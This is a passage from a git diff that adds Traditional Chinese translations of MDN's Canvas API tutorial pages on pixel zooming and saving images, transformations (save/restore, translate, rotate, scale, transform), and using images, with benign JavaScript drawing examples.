+                  Math.abs(x - 5), Math.abs(y - 5),
+                  10, 10, 0, 0, 200, 200);</pre>
+
+<p>Because anti-aliasing is enabled by default, we might want to disable the smoothing to see clear pixels. You can toggle the checkbox to see the effect of the <code>imageSmoothingEnabled</code> property (which needs prefixes for different browsers).</p>
+
+<h6 class="hidden" id="Zoom_example">Zoom example</h6>
+
+<div class="hidden">
+<pre class="brush: html;">&lt;canvas id="canvas" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;canvas id="zoom" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;div&gt;
+&lt;label for="smoothbtn"&gt;
+  &lt;input type="checkbox" name="smoothbtn" checked="checked" id="smoothbtn"&gt;
+  Enable image smoothing
+&lt;/label&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: js">var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  draw(this);
+};
+
+function draw(img) {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var zoomctx = document.getElementById('zoom').getContext('2d');
+
+  var smoothbtn = document.getElementById('smoothbtn');
+  var toggleSmoothing = function(event) {
+    zoomctx.imageSmoothingEnabled = this.checked;
+    zoomctx.mozImageSmoothingEnabled = this.checked;
+    zoomctx.webkitImageSmoothingEnabled = this.checked;
+    zoomctx.msImageSmoothingEnabled = this.checked;
+  };
+  smoothbtn.addEventListener('change', toggleSmoothing);
+
+  var zoom = function(event) {
+    var x = event.layerX;
+    var y = event.layerY;
+    zoomctx.drawImage(canvas,
+                      Math.abs(x - 5),
+                      Math.abs(y - 5),
+                      10, 10,
+                      0, 0,
+                      200, 200);
+  };
+
+  canvas.addEventListener('mousemove', zoom);
+}</pre>
+
+<p>{{ EmbedLiveSample('Zoom_example', 620, 490) }}</p>
+
+<h2 id="儲存圖片">儲存圖片</h2>
+
+<p>The {{domxref("HTMLCanvasElement")}} provides a <code>toDataURL()</code> method, which is useful when saving images. It returns a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/data_URIs">data URI</a> containing a representation of the image in the format specified by the <code>type</code> parameter (defaults to <a class="external external-icon" href="https://en.wikipedia.org/wiki/Portable_Network_Graphics">PNG</a>). The returned image is in a resolution of 96 dpi.</p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/png')")}}</dt>
+ <dd>Default setting. Creates a PNG image.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/jpeg', quality)")}}</dt>
+ <dd>Creates a JPG image. Optionally, you can provide a quality in the range from 0 to 1, with one being the best quality and with 0 almost not recognizable but small in file size.</dd>
+</dl>
+
+<p>Once you have generated a data URI from you canvas, you are able to use it as the source of any {{HTMLElement("image")}} or put it into a hyper link with a <a href="/en-US/docs/Web/HTML/Element/a#attr-download">download attribute</a> to save it to disc, for example.</p>
+
+<p>You can also create a {{domxref("Blob")}} from the canvas.</p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.toBlob", "canvas.toBlob(callback, type, encoderOptions)")}}</dt>
+ <dd>Creates a <code>Blob</code> object representing the image contained in the canvas.</dd>
+</dl>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li>{{domxref("ImageData")}}</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulating video using canvas</a></li>
+ <li><a href="https://codepo8.github.io/canvas-images-and-pixels/">Canvas, images and pixels – by Christian Heilmann</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}</p>
diff --git a/files/zh-tw/web/api/canvas_api/tutorial/transformations/index.html b/files/zh-tw/web/api/canvas_api/tutorial/transformations/index.html
new file mode 100644
index 0000000000..b25a2248dd
--- /dev/null
+++ b/files/zh-tw/web/api/canvas_api/tutorial/transformations/index.html
@@ -0,0 +1,336 @@
+---
+title: 變形效果
+slug: Web/API/Canvas_API/Tutorial/Transformations
+translation_of: Web/API/Canvas_API/Tutorial/Transformations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}</div>
+
+<h2 id="Saving_and_restoring_state" name="Saving_and_restoring_state">畫布狀態儲存與復原</h2>
+
+<p>在使用變形效果等複雜繪圖方法之前，有兩個不可或缺的方法(method)必須要先了解一下:</p>
+
+<dl>
+ <dt><code>save()</code></dt>
+ <dd>儲存現階段畫布完整狀態。</dd>
+ <dt><code>restore()</code></dt>
+ <dd>復原最近一次儲存的畫布狀態。</dd>
+</dl>
+
+<p>每一次呼叫save()，畫布狀態便會存進一個堆疊(stack)之中。畫布狀態包含了:</p>
+
+<ul>
+ <li>曾經套用過的變形效果，如translate, rotate和scale(稍後說明)。</li>
+ <li><code>strokeStyle</code>, <code>fillStyle</code>, <code>globalAlpha</code>, <code>lineWidth</code>, <code>lineCap</code>, <code>lineJoin</code>, <code>miterLimit</code>, <code>shadowOffsetX</code>, <code>shadowOffsetY</code>, <code>shadowBlur</code>, <code>shadowColor</code>, <code>globalCompositeOperation</code> 屬性的屬性值</li>
+ <li>目前截圖路徑(稍後說明)。</li>
+</ul>
+
+<p>我們可以呼叫save()的次數不限，而每一次呼叫restore()，最近一次儲存的畫布狀態便會從堆疊中被取出，然後還原畫布到此畫布狀態。</p>
+
+<h3 id="A_save_and_restore_canvas_state_example" name="A_save_and_restore_canvas_state_example">畫布狀態儲存與復原範例</h3>
+
+<p>本例會畫一連串矩形圖案來說明畫布狀態堆疊是如何運作。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillRect(0,0,150,150);   // Draw a rectangle with default settings
+  ctx.save();                  // Save the default state
+
+  ctx.fillStyle = '#09F'       // Make changes to the settings
+  ctx.fillRect(15,15,120,120); // Draw a rectangle with new settings
+
+  ctx.save();                  // Save the current state
+  ctx.fillStyle = '#FFF'       // Make changes to the settings
+  ctx.globalAlpha = 0.5;
+  ctx.fillRect(30,30,90,90);   // Draw a rectangle with new settings
+
+  ctx.restore();               // Restore previous state
+  ctx.fillRect(45,45,60,60);   // Draw a rectangle with restored settings
+
+  ctx.restore();               // Restore original state
+  ctx.fillRect(60,60,30,30);   // Draw a rectangle with restored settings
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p> </p>
+
+<p>* 預設用黑色填滿這個矩形</p>
+
+<p>* 每種狀態可以看成是一層層堆疊的步驟紀錄</p>
+
+<p>第一步：畫出黑色矩形　接著把第一個狀態儲存下來(用黑色填滿)</p>
+
+<p>第二步：畫出藍色矩形　接著把第二個狀態儲存下來(用藍色填滿)</p>
+
+<p>第三步：畫出半透明矩形</p>
+
+<p>第四步：再畫出矩形  這時候我們取用最新儲存過的藍色(第二狀態)</p>
+
+<p>第五步：再畫一個矩形　我們再取出更早之前儲存的黑色(第一狀態)</p>
+
+<p>{{EmbedLiveSample("A_save_and_restore_canvas_state_example", "180", "180", "https://mdn.mozillademos.org/files/249/Canvas_savestate.png")}}</p>
+
+<h2 id="Translating" name="Translating">移動畫布</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/234/Canvas_grid_translate.png" style="float: right;">第一個變形效果方法是translate()。translate()是用來移動畫布，如右圖，原先畫布的原點在網格(0, 0)位置，我們可以移動畫布，使其原點移到(x, y)位置。</p>
+
+<dl>
+ <dt><code>translate(<em>x</em>, <em>y</em>)</code></dt>
+ <dd>移動網格上的畫布，其中x代表水平距離、y代表垂直距離。</dd>
+</dl>
+
+<p>最好在做任何變形效果前先儲存一下畫布狀態，如此當我們需要復原先前的狀態時，只需要呼叫一下restore()即可，而且有一種情況是當我們在迴圈中移動畫布，如果不記得儲存和回復畫布狀態，繪圖區域很容易最後就超出邊界，然後出現圖案不見的狀況。</p>
+
+<h3 id="A_translate_example" name="A_translate_example">移動畫布範例</h3>
+
+<p>下面程式碼示範了利用translate()畫圖的好處，裡面，我們用了drawSpirograph()函數畫萬花筒類的圖案，如果沒有移動畫布原點，那麼每個圖案只會有四分之一會落在可視範圍，藉由移動畫布原點我們便可以自由變換每個圖案的位置，使圖案完整出現，而且省去手動計算調整每個圖案的座標位置。</p>
+
+<p>另外一個draw()函數透過兩個for迴圈移動畫布原點、呼叫drawSpirograph()函數、復歸畫布圓點位置共九次。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.fillRect(0,0,300,300);
+  for (var i=0;i&lt;3;i++) {
+    for (var j=0;j&lt;3;j++) {
+      ctx.save();
+      ctx.strokeStyle = "#9CFF00";
+      ctx.translate(50+j*100,50+i*100);
+      drawSpirograph(ctx,20*(j+2)/(j+1),-8*(i+3)/(i+1),10);
+      ctx.restore();
+    }
+  }
+}
+
+function drawSpirograph(ctx,R,r,O){
+  var x1 = R-O;
+  var y1 = 0;
+  var i  = 1;
+  ctx.beginPath();
+  ctx.moveTo(x1,y1);
+  do {
+    if (i&gt;20000) break;
+    var x2 = (R+r)*Math.cos(i*Math.PI/72) - (r+O)*Math.cos(((R+r)/r)*(i*Math.PI/72))
+    var y2 = (R+r)*Math.sin(i*Math.PI/72) - (r+O)*Math.sin(((R+r)/r)*(i*Math.PI/72))
+    ctx.lineTo(x2,y2);
+    x1 = x2;
+    y1 = y2;
+    i++;
+  } while (x2 != R-O &amp;&amp; y2 != 0 );
+  ctx.stroke();
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_translate_example", "330", "330", "https://mdn.mozillademos.org/files/256/Canvas_translate.png")}}</p>
+
+<h2 id="Rotating" name="Rotating">旋轉</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/233/Canvas_grid_rotate.png" style="float: right;">rotate()函數可以畫布原點作中心，旋轉畫布。</p>
+
+<dl>
+ <dt><code>rotate(<em>x</em>)</code></dt>
+ <dd>以畫布原點為中心，順時針旋轉畫布x弧度(弧度 = Math.PI * 角度 / 180)。</dd>
+</dl>
+
+<p>我們可以呼叫translate()方法來移動旋轉中心(亦即畫布原點)。</p>
+
+<h3 id="A_rotate_example" name="A_rotate_example">旋轉範例</h3>
+
+<p>本範例我們呼叫rotate()方法來畫一系列環狀圖案。如果不用rotate()，同樣的效果也可以藉由個別計算x, y座標點(x = r*Math.cos(a); y = r*Math.sin(a))達成；呼叫rotate()和個別計算x, y座標點不同之處在於，個別計算x, y座標點只有旋轉圓形圓心，而圓形並沒有旋轉，呼叫rotate()則會旋轉圓形和圓心，不過因為我們的圖案是圓形，所以兩種作法產生的效果不會有差異。</p>
+
+<p>我們執行了兩個迴圈來作圖，第一個迴圈決定的圓環個數和該圓環上圓環上圓點的個數的顏色，第二個迴圈決定了圓環上圓點的個數，每一次作圖前我們都儲存了原始畫布狀態，以便結束時可以復原狀態。畫布旋轉的弧度則以圓環上圓點的個數決定，像是最內圈的圓環共有六個圓點，所以每畫一個原點，畫布就旋轉60度(360度/6)，第二的圓環有12個原點，所以畫布一次旋轉度數為30度(360度/12)，以此類推。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.translate(75,75);
+
+  for (var i=1;i&lt;6;i++){ // Loop through rings (from inside to out)
+    ctx.save();
+    ctx.fillStyle = 'rgb('+(51*i)+','+(255-51*i)+',255)';
+
+    for (var j=0;j&lt;i*6;j++){ // draw individual dots
+      ctx.rotate(Math.PI*2/(i*6));
+      ctx.beginPath();
+      ctx.arc(0,i*12.5,5,0,Math.PI*2,true);
+      ctx.fill();
+    }
+
+    ctx.restore();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_rotate_example", "180", "180", "https://mdn.mozillademos.org/files/248/Canvas_rotate.png")}}</p>
+
+<h2 id="Scaling" name="Scaling">縮放</h2>
+
+<p>接下來這一個變形效果為縮放圖形。</p>
+
+<dl>
+ <dt>scale(x, y)</dt>
+ <dd>x代表縮放畫布水平網格單位x倍，y代表縮放畫布垂直網格單位y倍，輸入1.0不會造成縮放。如果輸入負值會造成座標軸鏡射，假設輸入x為-1，那麼原本畫布網格X軸上的正座標點都會變成負座標點、負座標點則變成正座標點。</dd>
+</dl>
+
+<p>只要利用scale()，我們可以建立著名的笛卡兒座標系；執行translate(0,canvas.height)先移動畫布原點到左下角，再執行scale(1,-1)顛倒Y軸正負值，一個笛卡兒座標系便完成了。</p>
+
+<p>預設上畫布網格前進一單位等於前進一像素大小，所以縮小0.5倍，就會變成前進0.5的像素大小，亦即縮小圖像一半大小，反之，放大2倍將放大圖像2倍。</p>
+
+<h3 id="A_scale_example" name="A_scale_example">縮放範例</h3>
+
+<p>本程式碼範例會畫出一系列不同縮放比例的萬花筒樣式圖案。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.strokeStyle = "#fc0";
+  ctx.lineWidth = 1.5;
+  ctx.fillRect(0,0,300,300);
+
+  // Uniform scaling
+  ctx.save()
+  ctx.translate(50,50);
+  drawSpirograph(ctx,22,6,5);
+
+  ctx.translate(100,0);
+  ctx.scale(0.75,0.75);
+  drawSpirograph(ctx,22,6,5);
+
+  ctx.translate(133.333,0);
+  ctx.scale(0.75,0.75);
+  drawSpirograph(ctx,22,6,5);
+  ctx.restore();
+
+  // Non uniform scaling (y direction)
+  ctx.strokeStyle = "#0cf";
+  ctx.save()
+  ctx.translate(50,150);
+  ctx.scale(1,0.75);
+  drawSpirograph(ctx,22,6,5);
+
+  ctx.translate(100,0);
+  ctx.scale(1,0.75);
+  drawSpirograph(ctx,22,6,5);
+
+  ctx.translate(100,0);
+  ctx.scale(1,0.75);
+  drawSpirograph(ctx,22,6,5);
+  ctx.restore();
+
+  // Non uniform scaling (x direction)
+  ctx.strokeStyle = "#cf0";
+  ctx.save()
+  ctx.translate(50,250);
+  ctx.scale(0.75,1);
+  drawSpirograph(ctx,22,6,5);
+
+  ctx.translate(133.333,0);
+  ctx.scale(0.75,1);
+  drawSpirograph(ctx,22,6,5);
+
+  ctx.translate(177.777,0);
+  ctx.scale(0.75,1);
+  drawSpirograph(ctx,22,6,5);
+  ctx.restore();
+
+}
+function drawSpirograph(ctx,R,r,O){
+  var x1 = R-O;
+  var y1 = 0;
+  var i  = 1;
+  ctx.beginPath();
+  ctx.moveTo(x1,y1);
+  do {
+    if (i&gt;20000) break;
+    var x2 = (R+r)*Math.cos(i*Math.PI/72) - (r+O)*Math.cos(((R+r)/r)*(i*Math.PI/72))
+    var y2 = (R+r)*Math.sin(i*Math.PI/72) - (r+O)*Math.sin(((R+r)/r)*(i*Math.PI/72))
+    ctx.lineTo(x2,y2);
+    x1 = x2;
+    y1 = y2;
+    i++;
+  } while (x2 != R-O &amp;&amp; y2 != 0 );
+  ctx.stroke();
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>第一排第一個黃色圖案是沒有縮放的圖案，然後往右到了第二個圖案，我們程式碼中輸入了 (0.75, 0.75)的縮放倍率，到了第三個圖案，我們還是輸入了 (0.75, 0.75)的縮放倍率，而基於之前有縮小過一次，所以第三個圖案相對於第一個沒有縮放的圖案是0.75 × 0.75 = 0.5625倍。</p>
+
+<p>第二排藍色圖案我們只改變Y軸的縮放倍率，X軸維持不變，因而產生一個比一個更扁的橢圓圖形。同理，第三排綠色圖案改變X軸的縮放倍率，Y軸維持不變。</p>
+
+<p>{{EmbedLiveSample("A_scale_example", "330", "330", "https://mdn.mozillademos.org/files/250/Canvas_scale.png")}}</p>
+
+<h2 id="Transforms" name="Transforms">變形</h2>
+
+<p>最後一個方法是設定變形矩陣，藉由改變變形矩陣，我們因此可以營造各種變形效果；其實先前所提到的rotate, translate, scale都是在設定變形矩陣，而這邊的這個方法就是直接去改變變形矩陣。</p>
+
+<dl>
+ <dt><code>transform(<em>m11</em>, <em>m12</em>, <em>m21</em>, <em>m22</em>, <em>dx</em>, <em>dy</em>)</code></dt>
+ <dd>呼叫Transform會拿目前的變形矩陣乘以下列矩陣:</dd>
+ <dd><img src="http://www.numberempire.com/equation.render?%5Cbegin{bmatrix}%20m11%20&amp;%20m21%20%5C%5C%20m12%20&amp;%20m22%5Cend{bmatrix}%5Cbegin{bmatrix}%20x%20%5C%5C%20y%5Cend{bmatrix}"></dd>
+ <dd>
+ <pre>m11 	m21 	dx
+m12 	m22 	dy
+0 	0 	1
+</pre>
+ </dd>
+</dl>
+
+<dl>
+ <dd>運算後的新矩陣將取代目前的變形矩陣。</dd>
+ <dd>其中m11代表水平縮放圖像，m12代表水平偏移圖像，m21代表垂直偏移圖像，m22代表垂直縮放圖像，dx代表水平移動圖像，dy代表垂直移動圖像。</dd>
+ <dd>如果輸入<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code> 值，不會引起例外錯誤，矩陣值會依照輸入設成無限。</dd>
+ <dt><code>setTransform(<em>m11</em>, <em>m12</em>, <em>m21</em>, <em>m22</em>, <em>dx</em>, <em>dy</em>)</code></dt>
+ <dd>復原目前矩陣為恆等矩陣(Identiy matrix，也就是預設矩陣)，然後再以輸入參數呼叫transform()。</dd>
+</dl>
+
+<h3 id="transform_.2F_setTransform_examples" name="transform_.2F_setTransform_examples"><code>transform</code> / <code>setTransform</code>範例</h3>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  var sin = Math.sin(Math.PI/6);
+  var cos = Math.cos(Math.PI/6);
+  ctx.translate(100, 100);
+  var c = 0;
+  for (var i=0; i &lt;= 12; i++) {
+    c = Math.floor(255 / 12 * i);
+    ctx.fillStyle = "rgb(" + c + "," + c + "," + c + ")";
+    ctx.fillRect(0, 0, 100, 10);
+    ctx.transform(cos, sin, -sin, cos, 0, 0);
+  }
+
+  ctx.setTransform(-1, 0, 0, 1, 100, 100);
+  ctx.fillStyle = "rgba(255, 128, 255, 0.5)";
+  ctx.fillRect(0, 50, 100, 100);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="200" height="250"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("transform_.2F_setTransform_examples", "230", "280", "https://mdn.mozillademos.org/files/255/Canvas_transform.png")}}</p>
+
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial/Applying_styles_and_colors", "Web/Guide/HTML/Canvas_tutorial/Compositing")}}</p>
diff --git a/files/zh-tw/web/api/canvas_api/tutorial/using_images/index.html b/files/zh-tw/web/api/canvas_api/tutorial/using_images/index.html
new file mode 100644
index 0000000000..7bb6bf791f
--- /dev/null
+++ b/files/zh-tw/web/api/canvas_api/tutorial/using_images/index.html
@@ -0,0 +1,342 @@
+---
+title: 使用影像
+slug: Web/API/Canvas_API/Tutorial/Using_images
+translation_of: Web/API/Canvas_API/Tutorial/Using_images
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Transformations" )}}</div>
+
+<p><font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">使用影像是</font></span></font>{{HTMLElement("canvas")}}<font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">另一個有趣的功能，這個功能可以用來動態組合圖片或作為背景等等。任何瀏覽器支援的外部圖片格式都可以使用，例如</font></span></font><font face="DejaVu Sans, sans-serif">PNG, GIF, </font><font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">或</font></span></font><font face="DejaVu Sans, sans-serif">JPEG</font><font face="DejaVu Sans"><span lang="zh-TW"><font face="DejaVu Sans, sans-serif">，甚至也可以利用同一份頁面上其他畫布元素產生的影像.</font></span></font></p>
+
+<p><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">載入影像到畫布中基本上需要兩個步驟：</span></font></p>
+
+<ol>
+ <li>
+  <p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">取得</span></font><font face="DejaVu Sans, sans-serif">{{domxref("HTMLImageElement")}}</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">物件或其他畫布元素的參照</span></font><font face="DejaVu Sans, sans-serif">(reference)</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">作為來源，透過單純提供</span></font><font face="DejaVu Sans, sans-serif">URL</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">或圖片位置的方式是行不通的</span></font>.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">用</span></font><font face="DejaVu Sans, sans-serif">drawImage()</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">函數在畫布上畫影像</span></font>.</p>
+ </li>
+</ol>
+
+<p><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">接下來便來看看要怎麼做</span></font>.</p>
+
+<h2 id="取得影像"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">取得影像</span></font></h2>
+
+<p><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">畫布</span></font><font face="DejaVu Sans, sans-serif">API</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">能接受以下資料型態作為影像來源</span></font>:</p>
+
+<dl>
+ <dt>{{domxref("HTMLImageElement")}}</dt>
+ <dd>
+ <p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">用</span></font><font face="DejaVu Sans, sans-serif">Image()</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">建構成的影像或是</span></font><font face="DejaVu Sans, sans-serif">{{HTMLElement("img")}}</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">元素</span></font>.</p>
+ </dd>
+ <dt>{{domxref("HTMLVideoElement")}}</dt>
+ <dd>
+ <p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">用</span></font><font face="DejaVu Sans, sans-serif">{{domxref("HTMLVideoElement")}}</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">元素作影像來源，抓取影片目前的影像畫格當作影像使用</span></font>.</p>
+ </dd>
+ <dt>{{domxref("HTMLCanvasElement")}}</dt>
+ <dd>
+ <p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">用另一個</span></font><font face="DejaVu Sans, sans-serif">{{domxref("HTMLCanvasElement")}}</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">元素當影像來源</span></font>.</p>
+ </dd>
+ <dt>{{domxref("ImageBitmap")}}</dt>
+ <dd>
+ <p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">可以被快速渲染的點陣圖</span></font><font face="DejaVu Sans, sans-serif">(bitmap)</font><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">，點陣圖能由上述所有來源產生</span></font>.</p>
+ </dd>
+</dl>
+
+<p><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">這些來源統一參照</span></font> <font face="DejaVu Sans, sans-serif"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas-element.html#image-sources-for-2d-rendering-contexts" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas-element.html#image-sources-for-2d-rendering-contexts">CanvasImageSource</a><span lang="zh-TW">型態</span></font>.</p>
+
+<p style="margin-bottom: 0in;"><font face="DejaVu Sans, sans-serif"><span lang="zh-TW">有好幾種方法能夠取得影像用於畫布<font face="DejaVu Sans, sans-serif">.</font></span></font></p>
+
+<p style="margin-bottom: 0in;"> </p>
+
+<h3 id="使用同一份網頁上的影像">使用同一份網頁上的影像</h3>
+
+<p>我們能透過下面幾個方法取得影像:</p>
+
+<ul>
+ <li>從{{domxref("document.images")}}</li>
+ <li>{{domxref("document.getElementsByTagName()")}}方法</li>
+ <li>如果知道特定影像的ID，那可以{{domxref("document.getElementById()")}}方法</li>
+</ul>
+
+<h3 id="使用來自其他網域的影像">使用來自其他網域的影像</h3>
+
+<p>Using the <a href="/en-US/docs/HTML/CORS_settings_attributes" rel="internal" title="CORS settings attributes"><code>crossOrigin</code></a> attribute on an 透過{{HTMLElement("HTMLImageElement")}}的<a href="/en-US/docs/HTML/CORS_settings_attributes" rel="internal" title="CORS settings attributes"><code>crossOrigin</code></a>屬性, 我們可以要求從另一個網域載入影像來使用，若是寄存網域(thehosting domain)准許跨網路存取該影像，那麼我們便可以使用它而不用污染(taint)我們的畫布，反之，使用該影像會污染畫布(<a href="https://developer.mozilla.org/en-US/docs/HTML/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F" rel="internal" title="en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F">taint the canvas</a>)。</p>
+
+<h3 id="使用其他畫布元素">使用其他畫布元素</h3>
+
+<p>如同取得其他影像，我們一樣能用{{domxref("document.getElementsByTagName()")}}或{{domxref("document.getElementById()")}}方法取得其他畫布元素，但是在使用之前請記得來源畫布上已經有繪上圖了。</p>
+
+<p>使用其他畫布元素作為影像來源有很多有用的應用用途，其中之一便是建立第二個小畫布作為另一個大畫布的縮小影像.</p>
+
+<h3 id="創造全新的影像">創造全新的影像</h3>
+
+<p>產生新的{{domxref("HTMLImageElement")}}物件也能當作影像來源，這邊，我們可以用Image()來建構一個新影像元素:</p>
+
+<pre class="brush: js">var img = new Image();   // Create new img element
+img.src = 'myImage.png'; // Set source path
+</pre>
+
+<p>上述程式碼執行後會載入影像.</p>
+
+<p>在影像載入完成前呼叫drawImage()不會有任何效果，甚至某些瀏覽器還會拋出例外狀況，所以應該要透過利用載入事件來避免這類問題:</p>
+
+<pre class="brush: js">var img = new Image();   // Create new img element
+img.addEventListener("load", function() {
+  // execute drawImage statements here
+}, false);
+img.src = 'myImage.png'; // Set source path
+</pre>
+
+<p>若是只要載入一份影像，可以用上面的方法，不過當需要載入、追蹤多個影像時，我們就需要更好的方法了，雖然管理多個影像載入已經超出本教學的範疇，然而如果有興趣的話，可以參考<a class="external" href="http://www.webreference.com/programming/javascript/gr/column3/" rel="external" title="http://www.webreference.com/programming/javascript/gr/column3/">JavaScript Image Preloader</a>這份文件.</p>
+
+<h3 id="以dataURL嵌入影像">以data:URL嵌入影像</h3>
+
+<p>另一個載入影像的方法是利用<a class="external" href="/en-US/docs/data_URIs" rel="external" title="http://en.wikipedia.org/wiki/Data:_URL">data: url</a>，透過data URL可以直接將影像定義成Base64編碼的字串，然後嵌入程式碼之中.</p>
+
+<pre class="js">var img_src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw==';
+</pre>
+
+<p>data URL的好處之一是立即產生影像而不用再和伺服器連線，另一個好處是這樣便能夠將影像包入你的<a href="/en-US/docs/Web/CSS" title="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/JavaScript" title="/en-US/docs/Web/JavaScript">JavaScript</a>, <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a>之中，讓影像更具可攜性.</p>
+
+<p>壞處則是影像將不會被快取起來，而且對大影像來說編碼後的URL會很長.</p>
+
+<h3 id="Using_frames_from_a_video">Using frames from a video</h3>
+
+<p>我們還能夠使用{{HTMLElement("video")}}元素中的影片的影片畫格(縱使影片為隱藏)，例如，現在我們有一個ID為”myvideo” 的{{HTMLElement("video")}}元素:</p>
+
+<pre class="brush: js">function getMyVideo() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    return document.getElementById('myvideo');
+  }
+}
+</pre>
+
+<p>上面的方法會回傳一個{{domxref("HTMLVideoElement")}}的影像物件，如前所述，這個物件可以被視為CanvasImageSource類別的物件來使用。<br>
+ 關於如何利用&lt;video&gt;元素於畫布上的進階說明，可以參考html5Doctor的“<a href="http://html5doctor.com/video-canvas-magic/" title="http://html5doctor.com/video-canvas-magic/">video + canvas = magic</a>”一文.</p>
+
+<h2 id="影像繪圖">影像繪圖</h2>
+
+<p>一旦我們取得來源影像物件的參照(reference)，便可以用drawImage()方法將影像渲染到畫布上，drawImage()方法是一個多載(overload)方法，有數個型態，待會我們會看到這項特性，現在我們先來看drawImage()最基本的型態:</p>
+
+<dl>
+ <dt><code>drawImage(<em>image</em>, <em>x</em>, <em>y</em>)</code></dt>
+ <dd>從座標點(x, y)開始畫上image參數指定的來源影像(CanvasImageSource).</dd>
+</dl>
+
+<h3 id="範例_一條簡單的線段影像">範例: 一條簡單的線段影像</h3>
+
